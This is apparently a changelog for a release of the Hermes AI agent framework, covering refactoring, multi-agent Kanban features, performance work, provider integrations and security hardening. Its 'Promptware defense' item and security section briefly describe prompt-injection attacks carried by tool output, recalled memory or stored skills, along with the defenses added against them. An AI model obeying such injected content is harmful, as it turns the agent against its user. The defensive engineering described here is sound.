• The Big Refactor — run_agent.py is no longer 16,000 lines — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under agent/. Behavior is unchanged: every extraction keeps a thin forwarder on AIAgent, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (#27248)

• Kanban grew into a real multi-agent platform — 104 PRs end to end — Triage auto-decomposes one task into a tree of sub-tasks. hermes kanban swarm creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through /workers/active, /runs/{id}, and /inspect endpoints. (#27572, #28443, #28364, #28394, #28462, #28384, #28467, #28455, #28452, #28432, #28468, #28420)

• Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls — Three new optimization rounds: defer openai._base_client import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. hermes --version cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (#28864, #28866, #28957, #29006, #29419, #30121, #30609, #31968)

• session_search rebuilt — no LLM, no cost, 4,500× faster — The old session_search was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no mode parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (#27590)

• Promptware defense — Brainworm-class attacks blocked at three chokepoints — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (tools/threat_patterns.py) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new security-guidance plugin that pattern-matches dangerous code writes. (#32269, #33131, #9151)

• Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key — Stop keeping plaintext API keys in ~/.hermes/.env. Install Bitwarden Secrets Manager (bws auto-installs lazily on first use), point Hermes at it with one bootstrap token (BWS_ACCESS_TOKEN), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip secrets.bitwarden.override_existing: false to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (#30035, #31378, #30364)

• ntfy as the 23rd messaging platform — push notifications without an account — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat send_message — to your phone, your watch, your desktop, your homelab. (salvages #30625 → originally #4043) (#30867)

• Skill bundles — /<name> loads multiple skills at once — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and /writing-day activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: code-wiki (Karpathy's LLM-Wiki, persistent indexed dev wiki), openhands (delegate to OpenHands for parallel coding agents), and web-pentest (OWASP-style web pentest recipes). (#28373, #32345, #32240, #32261, #32265)

• TUI session orchestrator — multiple live sessions in one TUI window — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages #27642) (#32980, #30084)

• Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin — Krea joins the image_gen lineup as a built-in plugin: Krea 2 Medium ($0.03) and Krea 2 Large ($0.06), auto-discovered, selectable via hermes tools → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into plugins/image_gen/fal/, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (#33236, #30380, #33506)

• Nous-approved MCP catalog with interactive picker — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run hermes mcp and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to ~/.hermes/.env. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (#30870)

• OpenHands orchestration skill — A new optional skill under optional-skills/autonomous-ai-agents/openhands/ lets the agent delegate coding tasks to the OpenHands CLI alongside claude-code, codex, and opencode. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and /delegate flows. (closes #477) (#32261)

• Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening — Six interlocking xAI improvements:

  • xAI Web Search lands as a plugins/web/xai/ provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or XAI_API_KEY credentials, no new env vars. (#29042)
  • hermes proxy gains an xAI upstream — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (#28356)
  • May 15 model retirement detection — grok-4, grok-4-fast{,-reasoning,-non-reasoning}, grok-3, grok-code-fast-1, grok-imagine-image-pro etc. are detected in doctor and chat startup, with hermes migrate xai to one-shot config migration to the supported model. No more silent 404s after the retirement date. (#29277)
  • Opt-in auto_speech_tags for xAI TTS — inserts light [pause] tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (#29376)
  • xai-oauth base_url pinned to x.ai origin — closes a silent credential-leak vector where XAI_BASE_URL could repoint OAuth-authenticated inference to an attacker-controlled host. (#28952)
  • OpenAI-style execution guidance applied to Grok models — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (#27797)
  • Plus x_search degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE code_challenge round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and WKE=unauthenticated honor at both classifier sites. (#29484, #28351, #27560, #28116, #30619, #30872)

🏗️ Core Agent & Architecture

The Big Refactor — run_agent.py 16k → 3.8k

• run_agent.py from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive agent/* modules. run_conversation alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on AIAgent, every test-patch path is preserved, every external caller stays compatible. (#27248)

Agent loop & conversation

• Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages #26811 + #26998) (#27625)
• Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (#33816)
• Host contract for external context engines — condenses 5 prior PRs into one extension surface. (#33750)
• Fallback immediately on provider content-policy blocks. (#33883)
• Re-pad reasoning_content on cross-provider fallback to require-side providers. (salvage #33784) (#33795)
• Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• Single-knob native vision for custom-provider models. (#29679)
• Background review fork isolated from external memory plugins. (#27190)
• Background review inherits parent toolset config for tools[] cache parity. (#29704)
• Recover from providers returning list-type tool content. (#30259)
• Treat partial-stream stub responses as length truncation rather than clean stop. (#30998)
• OpenAI execution guidance applied to xAI Grok / xai-oauth. (#27797)
• ContextVars propagate to concurrent tool worker threads.
• Preload jiter native parser. (#33692)
• Expose context engine tools with saved toolsets. (salvage of #31194) (#33719)

Sessions & memory

• session_search rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (#27590)
• Salvage #29182 — opt-in JSON snapshot writer for sessions. (#29278)
• Persist platform_message_id for recall across gateway restarts. (#29449)
• Inline memory-context mentions stay visible in conversation. (#28132)
• Recalled memory labeled informational, not authoritative. (#28583)
• Memory + context-engine tool injection gated on enabled_toolsets. (#30177)
• Guard against external drift in MEMORY.md / USER.md. (#30877)
• Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (#30077)
• Periodic memory logging for leak detection. (salvage of #17667) (#27102)

Codex / Responses-API maturation

• TTFB watchdog for stalled Codex Responses streams. (#32042)
• Actionable hint when stale-call detector fires on known silent-reject pattern. (#32016, #33133)
• Drop SDK responses.stream() helper; consume events directly. (#33042)
• Gracefully recover from invalid_encrypted_content. (salvage of #10144) (#33035)
• Recover Codex Responses streams with null output. (#32963, #33390)
• Drop foreign-issuer reasoning and transient rs_tmp reasoning replay state. (#33156, #33146)
• Codex 429 quota classified as rate-limit, not missing credentials. (#33168)
• Codex chat path falls back to credential_pool when singleton is empty. (#33189)
• Codex re-auth syncs credential_pool. (#33164)
• Omit tools key when no tools registered. (#33409)
• Parse Codex image-generation SSE directly. (#32933)

🎛️ Kanban — Multi-Agent Maturation Wave

Orchestration & dispatch

• Orchestrator-driven auto-decomposition on triage. (#27572)
• Kanban swarm topology helper — hermes kanban swarm creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages #26791 by @Niraven) (#28443)
• Dispatcher wires review agents from the review column. (#28449)
• Stale-detection for running tasks in dispatcher. (#28452)
• Respawn guard blocks repeat worker storms. (#28455)
• Respawn guard defers blocker_auth instead of auto-blocking. (#28683)
• Cross-profile cron jobs surface in dashboard. (#28457)
• Worker visibility endpoints: /workers/active, /runs/{id}, /inspect. (salvages #23761 by @Interstellar-code) (#28432)

Task configuration & scheduling

• Per-task model override. (#28364)
• Board-level default workdir. (#28394)
• Configurable worktree paths and branches. (#28462)
• Scheduled task start times. (#28384)
• Scheduled status for delayed follow-ups. (#28467)
• Trimmed task comments. (#28399)
• Initial-status for human-ops cards. (#28414)
• max_in_progress config to cap concurrent running tasks. (#28420)
• Filter tasks by workflow fields. (#28454)
• --sort for hermes kanban list. (#28427)
• Optional board parameter on all MCP tools. (#28444)
• Stamp originating ACP session_id on tasks. (#28447)
• auto_promote_children config toggle. (#28344)
• archive --rm to hard-delete archived tasks. (#28355)
• Promote dependents when parent is archived. (#28372)
• Promote blocked tasks when parent dependencies complete. (#28377)
• Demote ready children when parent is reopened. (#28382)
• promote verb for manual todo→ready recovery + bulk --ids. (salvage #29464) (#31334)

Dashboard

• Drag-to-delete trash zone + bulk delete. (#28468)
• Surface per-task model_override in show + tool output. (#28442)
• Cross-profile notification delivery via kanban.notification_sources. (#28395)
• Scratch-workspace deletion warning for users. (#30949)
• Mobile dashboard UX polish. (#28127)

Reliability

• Worker log retention configurable. (#27867)
• Configurable claim TTL. (#28392)
• Fingerprint crash errors to prevent fleet-wide retry exhaustion. (#28380)
• Reset failure counters on unblock_task. (#28379)
• Detect cycles in decompose_triage_task sibling-link pre-validation. (#28088)
• Surface unusable triage auxiliary model (auto-decompose aware). (#27871)
• Align failure diagnostics with retry limit. (#27868)
• Align worker terminal timeout with task runtime. (#27864)
• Auto-install bundled skills (kanban-worker) on init. (#28368)
• Make legacy task migration idempotent. (#28397)
• Serialize DB initialization. (#28383)
• Persist worker session metadata on completion. (#28387)
• Pass accept-hooks to worker chat subprocess. (#28393)
• Preserve worker tools with restricted toolsets. (#28396)
• Avoid unsafe Windows worker Hermes shim resolution. (#28398)
• Sync slash subcommands with live parser. (#28376)
• Show scheduled kanban tasks in dashboard. (#28400)
• Assign single-task kanban decompositions. (#28401)
• Configurable max_tokens for kanban specify. (#28374)
• Per-job profile support for cron. (#28124)
• Codex app-server: include every Kanban-pinned path in writable_roots. (#28435)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

⚡ Performance

• openai._base_client import deferred — 240ms / 17MB off every CLI cold start. (#28864)
• Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (#28866)
• Compression-feasibility check deferred — 170-290ms off every agent construction. (#28957)
• Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (#29006)
• Termux TUI cold start speedup. (#29419)
• Termux non-TUI cold start speedup. (salvage #29438) (#30121)
• Termux fast-path version + deferred bare-prompt agent startup. (#30609)
• Cut hermes --version wall time 63% — flips head-to-head vs Codex CLI. (#31968)
• Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (#27675)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

🔧 Tool System

Tool surface

• patch: indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• terminal: warn at call time when background=true runs silently. (#31289)
• terminal: nudge homebrewed CI pollers at the tool surface. (#33142)
• x_search: surface degraded results + validate dates. (#29484)
• x_search: auto-enable toolset when xAI credentials are configured. (#27376)
• computer_use: route SOM/vision captures via auxiliary.vision. (#30126)
• transcription: reject symlinked audio inputs. (#10082)
• TTS: prevent double [pause] in xAI auto speech tags. (#32237)
• TTS: preserve native audio outside Telegram voice delivery. (#28512)
• TTS: opt-in xAI auto_speech_tags speech-tag pauses for natural voice replies. (#29376)
• Voice: chunk oversized CLI recordings. (#30044)
• Voice: honor PULSE_SERVER / PIPEWIRE_REMOTE inside Docker. (#22534)

Browser

• All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages #25580) (#27403)
• Auto-launch Chromium-family browser for CDP. (#29106)
• Docker: discover agent-browser Chromium binary at boot. (#33184)

Image generation

• Krea provider plugin (Krea 2 Medium + Large). (#33236)
• FAL backend ported to plugins/image_gen/fal. (salvage #27966) (#30380)
• Cache xAI ephemeral URL responses to disk. (#31759)

Web search

• xAI Web Search as a provider plugin. (#29042)

MCP

• Nous-approved MCP catalog with interactive picker. (#30870)
• TLS client certificate (mTLS) support for HTTP and SSE MCP servers. (#33721)
• Stdin paste-back fallback for headless OAuth flow. (#32053)
• skip at paste prompt bypasses auth without disabling server. (#32069)
• Registry-aware mcp_ prefix on both ends of round-trip. (#31700)

🧩 Skills Ecosystem

Skills system

• Skill bundles — /<name> loads multiple skills. (#28373)
• Skills Hub: health checks, freshness badge, and a watchdog cron. (#32345)
• Opt-in AST deep diagnostics on skill writes. (salvage of #30918) (#31198)
• Bundled/pinned skill protection in background-review prompts. (#28338)
• Show user-modified skill names in bundled skill sync summary. (#28671)
• Load symlinked skill slash commands. (#27759)
• Deduplicate Skills Hub search results by identifier, not name. (#29490)

New skills

• openhands — delegate-to-OpenHands orchestration skill (closes #477) (#32261)
• code-wiki — persistent indexed dev wiki (closes #486) (#32240)
• web-pentest — OWASP recipes (closes #400) (#32265)
• baoyu-article-illustrator (#28287)

☁️ Providers

xAI deep integration

• xAI Web Search as a plugins/web/xai/ provider plugin. (#29042)
• hermes proxy xAI upstream — OpenAI-compatible local proxy backed by xai-oauth. (#28356)
• May 15 model retirement detection + hermes migrate xai for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (#29277)
• Opt-in auto_speech_tags for natural xAI TTS voice replies. (#29376)
• xai-oauth base_url pinned to x.ai origin — closes silent credential-leak vector. (#28952)
• OpenAI-style execution guidance applied to Grok / xai-oauth models. (#27797)
• xAI: detect retired May 15 models in doctor/chat startup. (#29277)
• xAI: resolve Grok Build context for OAuth. (#30579)
• xAI OAuth: tier-gated 403 with API-key fallback. (#28351)
• xAI OAuth: PKCE code_challenge echo. (#27560)
• xAI OAuth: quarantine dead tokens on terminal refresh failure. (#28116)
• xAI OAuth: honor WKE=unauthenticated disambiguator at both classifier sites. (#30872)
• xAI OAuth: accept bare-code manual paste (state=None). (closes #26923) (#33880)
• xAI OAuth: fall back to manual paste on loopback timeout. (#33231)
• xAI proxy: handle 429 rate-limit responses in proxy retry path. (#33743)

Other providers

• OpenAI API as a first-class provider (distinct from Codex runtime). (#31898)
• Microsoft Entra ID auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages #27509, #27022) (#28101, #28084)
• OpenRouter sticky routing — session_id passed via extra_body so a long-running session keeps landing on the same upstream provider. (@Cybourgeoisie) (#33939)
• Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (@rewbs) (#27663)
• Nous Portal: one-shot setup, status CLI, and Nous-included markers. (#30860)
• Anthropic adapter: extract 7 helpers from convert_messages_to_anthropic. (salvage #27784) (#30386)
• Catalog: add qwen3.7-max to Alibaba + Alibaba-Coding-Plan model lists. (#33129)
• opencode-go: route qwen3.7-max via anthropic_messages. (@beardthelion) (#32780)
• opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (#30845)
• Remove Vercel AI Gateway and Vercel Sandbox.
• MiniMax OAuth: refresh short-lived access tokens per request. (#30619)
• Codex OAuth: quarantine terminal refresh errors. (#28118)
• Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (#33424)
• Codex: sync manual:device_code pool entries on re-auth. (#33744)
• MiniMax OAuth: quarantine terminal refresh errors. (#28119)

🔑 Secrets

• Bitwarden Secrets Manager integration with lazy bws install. (#30035)
• Bitwarden: EU Cloud + self-hosted server URL support. (#31378)
• Label detected credentials with their source (Bitwarden). (#30364)

📱 Messaging Platforms (Gateway)

Gateway core

• Deliverable mode — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (#27813)
• hermes send — pipe any script's output to any messaging platform. (salvage of #19631) (#27188)
• Debounce queued text follow-ups during active sessions. (salvage of #31235) (#31341)
• Plugin-transformed final_response delivered through streaming gate. (#31433)
• Refresh cached agent tools on /reload-mcp. (#32815)
• Harden kanban + provider cleanup races on long-running workloads. (#29479)

New / reorganized adapters

• ntfy — 23rd platform, push notifications, plugin shape, zero core edits. (salvages #30625 → #4043) (#30867)
• Discord adapter migrated to bundled plugin. (salvage of #24356) (#30591)
• Mattermost adapter migrated to bundled plugin. (salvage of #30916) (#31748)

Telegram

• Edit status messages in place instead of appending. (based on #30141 by @qike-ms) (#30864)
• Skip-STT audio path + 2GB cap via local Bot API server. (#28541)
• Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (#28519)
• Route audio file attachments away from STT pipeline. (#28478)
• disable_topic_auto_rename gateway flag. (#28523)
• ignore_root_dm config to drop messages without thread_id. (#28536)
• Chat-scoped auth without sender user_id. (#28525)
• Fail-closed auth fallback when TELEGRAM_ALLOWED_USERS is empty. (#28494)
• Roll over tool progress bubbles + scope audio_file_paths. (#28482)
• Avoid duplicate text after auto-TTS voice replies. (#28509)
• Mark final voice reply notify-worthy so Telegram delivers it audibly. (#28504)

Discord

• Recover Windows voice opus decoding. (#33182)
• allow_any_attachment config to accept arbitrary file types. (#27245)
• Transcribe native voice notes. (#28993)
• Define UI view classes after lazy install. (#28817)

Signal / Matrix / Feishu / Slack / WeCom

• Signal: require_mention filter for group chats. (#28574)
• Matrix: warn on clock-skew silent message drops. (#27330)
• Matrix E2EE installs full dep set; plugins respect is_connected. (#31688)
• Feishu: require webhook auth secret + honor config extras. (#30746)
• Feishu: enforce auth and chat binding for approval buttons. (#30744)
• Slack: socket recovery + Windows restart dedupe. (#28873)
• WeCom: safe-parse untrusted XML. (#32442)

DingTalk / Webhooks / Microsoft Graph

• DingTalk: transcribe native voice notes. (#28993)
• Webhook: enforce INSECURE_NO_AUTH safety rail on dynamic route reloads. (#30863)
• Webhook: restrict default toolset capabilities. (#30745)
• Microsoft Graph: harden webhook auth requirements. (#30169)

🖥️ CLI & TUI

CLI

• /update slash command in CLI and TUI. (#23854)
• Update auto-rollback when post-pull syntax check fails. (#28669)
• --branch flag for hermes update. (@jquesnelle) (#29591)
• /exit --delete flag to remove session on quit. (salvage of #17665) (#27101)
• ▶ N indicator in status bar for running /background tasks. (#27175)
• Live background terminal-process count in status bar. (#32061)
• Append session recap to /status output. (salvage of #18587) (#27176)
• Configurable paste-collapse thresholds (TUI + CLI). (salvage #29723) (#32087)
• /resume accepts position numbers. (#31709)
• Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (#31293)
• Validate runtime token refresh in Qwen auth status. (#31196)

TUI

• TUI session orchestrator — multiple live sessions in one TUI window. (salvages #27642) (#32980)
• mouse_tracking DEC mode presets. (salvage of #26681 by @OutThisLife) (#30084)
• Termux scrollback preservation + touch-friendly defaults. (#28910)
• Full assistant text in scrollback (no history truncation). (#28829)
• Preserve scrollback when branching sessions. (#30162)
• Preserve Python dunder identifiers in markdown. (#28582)
• Active profile shown in TUI prompt. (#28581)
• Improve Charizard completion menu contrast. (#28346)
• Stop slash dropdown chopping last char of /goal. (#31311)
• Clipboard copy on linux/wayland. (#29342)
• Anchor splitReasoning unclosed-tag regex; stop eating last paragraph. (#29426)
• Surface verbose tool details. (#30225)
• Load Linux skills on Termux + salvage @adybag14-cyber's Termux gates. (#30166)
• Handle images with codex app-server. (#31220)
• Refresh virtual transcript on viewport resize. (#31077)
• Ignore late thinking deltas after completion. (#31055)
• Commit composer input bursts immediately. (#31053)
• Log parent gateway lifecycle exits. (#31051)
• Clear TTS env var on voice off + TTS indicator in status bar. (#30987)
• Pass --expose-gc as node argv instead of NODE_OPTIONS. (#29998)
• Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (#27489)
• Harden Terminal.app rendering and color paths. (#27251)
• Keep /goal verdict out of compact status row. (#27971)
• Clamp curses color 8 for 8-color terminals (Docker). (#30260)

🔒 Security & Reliability

Promptware & memory hardening

• Promptware defense — shared threat patterns + memory load-time scan + tool-result delimiters. (#32269)
• Expand memory content scanning patterns to parity with skills guard. (#9151)
• Harden Skills Guard multi-word prompt patterns. (@YLChen-007) (#26852)
• Split cron scanner so skill prose stops false-positiving exfil patterns. (#32339)

File safety

• Protect Hermes control-plane files from prompt injection (auth.json, config.yaml, webhook_subscriptions.json, mcp-tokens/). (salvages @PratikRai0101's #14157) (#30397)
• Write-deny <root>/.env when running under a profile. (#29687)
• Defense-in-depth read-deny on credential stores. (salvages #17659 + #8055) (#30721)
• TTS output_path traversal + update ZIP symlink reject. (salvage #6693 + #15881) (#32056)
• Reject symlinked audio inputs. (#10082)

Credential safety

• Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into auth.json. (#31416)
• Validate Nous Portal inference_base_url against host allowlist. (salvages #27612) (#30611)
• Harden API server key placeholder handling. (#30738)
• Harden Google Chat OAuth credential persistence. (@Zyrixtrex) (#24788)
• xAI OAuth: pin inference base_url to x.ai origin. (#28952)
• Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (#28116, #28118, #28119)

Supply-chain

• On-demand supply-chain audit via OSV.dev — hermes audit. (#31460)
• hermes update syntax-validates critical files post-pull, auto-rollback on failure. (#28669)
• Quarantine hermes.exe vs concurrent Windows instance. (#26677)

Other hardening

• Restrict default webhook toolset capabilities. (#30745)
• Harden Microsoft Graph webhook auth requirements. (#30169)
• Require source CIDR allowlisting for public msgraph webhook binds. (#33722)
• Require API_SERVER_KEY before dispatching API server work. (#33232)
• env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (@roadhero) (#27794)
• Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (#32442)
• Salvage project-plugin RCE bypass fix from PR #29311 (GHSA-5qr3-c538-wm9j). (#30837)
• Cross-profile soft guard on file-write tools + system-prompt hint. (#31290)
• Reject unsafe tar members in Android psutil compatibility installer. (#33742)
• Reject non-regular tar members during tirith auto-install. (#33786)

🪟 Native Windows (Beta Continued)

• Thin desktop installer + first-launch install.ps1 bootstrap. (#27822)
• Complete Windows bootstrap — dep_ensure + install.ps1 + detection. (@alt-glitch) (#27845)
• install.ps1: strip BOM, -Commit/-Tag pin params, harden git ops. (@jquesnelle) (#28169)
• Consolidate ACP browser bootstrap into install.{sh,ps1}. (@alt-glitch) (#27851)
• hermes update quarantines live hermes.exe. (#26677)
• Discord voice opus decoding on Windows. (#33182)
• Windows Docker Desktop compatible compose file. (@Sunil123135) (#31031)

🖼️ Hermes Desktop GUI

• hermes gui launcher — install + build + launch packaged Electron app. (@OutThisLife) (#30165)
• Desktop UI lift. (#27227)
• nix package .#desktop. (@ethernet8023) (#28964)
• Hardened Slack socket recovery + Windows desktop restart dedupe. (#28873)
• Web dashboard: migrate checkboxes to @nous-research/ui + design-system polish. (@austinpickett) (#28814)
• Web dashboard: collapsible sidebar. (@austinpickett) (#33421)
• Dashboard typography & contrast pass. (salvage of #28832) (#30714)
• Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (#33809)

🐳 Docker

• s6-overlay container supervision — abstract ServiceManager protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of #30136, @benbarclay) (#31760)
• Auto-redirect gateway run to supervised mode inside the s6 image. (@benbarclay) (#33583)
• Tee supervised gateway stdout to docker logs. (@benbarclay) (#33621)
• Drop docker exec to hermes uid before invoking the CLI. (@benbarclay) (#33628)
• Align HOME for dashboard and s6 gateway services. (@Dusk1e) (#33481)
• Bake build-time git SHA into image so hermes dump reports it. (@benbarclay) (#33655)
• hermes update prints docker pull guidance instead of bogus git error. (@benbarclay) (#33659)
• Upgrade Node to 22 LTS via multi-stage from node:22-bookworm-slim. (@benbarclay) (#33060)
• Drop build-essential from apt install. (@benbarclay) (#33028)
• Propagate env through s6 to cont-init and main CMD. (#32412)
• Targeted chown to preserve host file ownership in HERMES_HOME. (#33033)
• mkdir HERMES_HOME as root in stage2 before chown / privilege drop. (#33078)
• chown ui-tui and node_modules on UID remap so TUI esbuild works. (#33045)
• Include anthropic, bedrock, azure-identity extras in image. (#30504)
• Stop pushing per-commit SHA tags to Docker Hub. (#29387)
• Simplify Docker tagging — push both :main and :latest on main push. (#33225)
• Test slicing across GH actions jobs. (@ethernet8023) (#30575)
• Discover agent-browser Chromium binary at boot. (#33184)

🌐 API Server

• Session control API — /api/sessions/* (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages #29302 by @Codename-11 + multimodal followup by @Schwartz10) (#33134)
• GET /v1/skills and /v1/toolsets. (#33016)
• Coerce stringified booleans in stream/store/approval payloads. (salvage #26639) (#27293)
• Honor key_env in auth-failure fallback resolution. (#30840)

🎟️ ACP (VS Code / Zed / JetBrains)

• Session edit auto-approval modes. (salvage of #27034) (#27862)
• Enrich Zed permission cards — command in title + reject_always. (#28148)
• Replay session history before responding to session/load. (#26957, #26943)
• Plugin-transformed final_response delivered through streaming gate. (#31433)

🔌 Plugin Surface

• register_tts_provider() plugin hook. (salvage of #30420) (#31745)
• register_transcription_provider() hook + stt.providers command-provider registry. (salvage of #30493) (#31907)
• register_auxiliary_task() in PluginContext API. (salvage #29817) (#31177)
• Bundled security-guidance plugin. (#33131)
• Discord and Mattermost migrated to bundled plugins. (#30591, #31748)
• ntfy as platform plugin. (#30867)
• Surface category-namespaced plugins in hermes plugins list. (#27187)
• Plugin discovery failures raised to WARNING level. (#28318)
• hermes_plugins included in gateway.log component filter. (#28313)
• Seed plugin extras before is_connected gate. (#31703)
• Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (#32277)

📦 Distribution & Install

• Install-method stamping + Docker detection. (@alt-glitch) (#27843)
• Nix #messaging and #full package variants. (@alt-glitch) (#33108)
• Pre-load messaging gateway deps via --extra messaging. (salvage #26394) (#27558)
• Avoid piping installer directly into iex (Windows). (#28347)
• Ship bundled skills in wheel. (#28421)
• Ship dashboard plugin assets in wheel. (#28406)
• Make Camofox lazy-installed instead of eager. (#27055)
• Wire STT lazy-install into transcription_tools.py. (#30256)

🐛 Notable Bug Fixes (highlights only)

• Match bare custom provider by active base URL in hermes model. (#28908)
• Route auxiliary.vision.provider=openai to api.openai.com, skip text-only main. (#31452)
• Lint: skip per-file shell linter when LSP will handle the file. (#29054)
• Treat empty credential pool entries as unauthenticated in /model picker. (#28312)
• Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.

🧪 Testing

• Disarm lazy-install probe so _HAS_FASTER_WHISPER patches work. (#30334)
• Cover default board dashboard pin. (#28361)
• Cover _task_dict task_age fallback. (#28365)
• Allowlist tmp_path for kanban_notify artifact delivery tests. (#30851, #30852)
• Cover null output stream terminal events in Codex. (#33137)

📚 Documentation

• 30-day docs overhaul — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (#33782)
• Dedicated Nous Portal integration page and setup guide. (#31296)
• Providers: move Nous Portal first, Google Gemini OAuth last. (#31287)
• session_search rewrite for single-shape tool. (#27840)
• Kanban: document failure_limit, max_retries, inline create shortcuts, goals & kanban settings. (#28357, #28358, #28359, #28360, #28362)
• Kanban Codex lane skill. (#28430)
• xAI OAuth: note X Premium+ also unlocks Grok OAuth. (#29055)
• Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.
• Email: clarify gateway vs Himalaya setup. (@helix4u) (#33634)
• Auth docs: replace stale hermes login references with hermes auth add. (#32859)

👥 Contributors

Core

• @teknium1 (lead)

Notable salvages & cherry-picks

• @benbarclay — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, gateway run auto-redirect in s6, tee supervised stdout to docker logs, hermes update Docker guidance, build-time SHA stamping
• @OutThisLife — hermes gui desktop launcher, mouse_tracking DEC mode presets
• @jquesnelle — Windows installer hardening, --branch flag for hermes update, install.ps1 BOM strip / commit-pin
